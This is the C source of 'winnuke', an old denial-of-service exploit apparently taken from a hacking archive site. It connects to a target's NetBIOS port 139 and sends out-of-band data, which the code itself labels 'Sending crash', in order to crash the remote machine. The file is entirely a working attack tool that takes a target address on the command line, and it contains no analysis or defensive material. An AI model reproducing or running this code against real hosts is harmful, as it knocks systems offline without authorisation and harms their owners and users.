/*          winnuke.c - (05/07/97)  By _eci    [2000]*/
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 139  /* Attack port: 139 is what we want */

int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;

int open_sock(int sock, char *server, int port)
{
  struct sockaddr_in blah;
  struct hostent *he;
  bzero((char *)&blah,sizeof(blah));
  blah.sin_family=AF_INET;
  blah.sin_addr.s_addr=inet_addr(server);
  blah.sin_port=htons(port);

  if ((he = gethostbyname(server)) != NULL)
    {
      bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
  else
    {
      if ((blah.sin_addr.s_addr = inet_addr(server)) < 0)
        {
          perror("gethostbyname()");
          return(-3);
        }
    }

  if (connect(sock,(struct sockaddr *)&blah,16)==-1)
    {
      perror("connect()");
      close(sock);
      return(-4);
    }
  printf("Connected to [%s:%d].\n",server,port);
  return;
}


void main(int argc, char *argv[])
{

  if (argc != 2)
    {
      printf("Usage: %s <target>\n",argv[0]);
      exit(0);
    }

  if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    {
      perror("socket()");
      exit(-1);
    }

  open_sock(s,argv[1],dport);

  printf("Sending crash... ");
  send(s,str,strlen(str),MSG_OOB);
  usleep(100000);
  printf("Done!\n");
  close(s);
}
/*                    www.hack.co.za              [2000]*/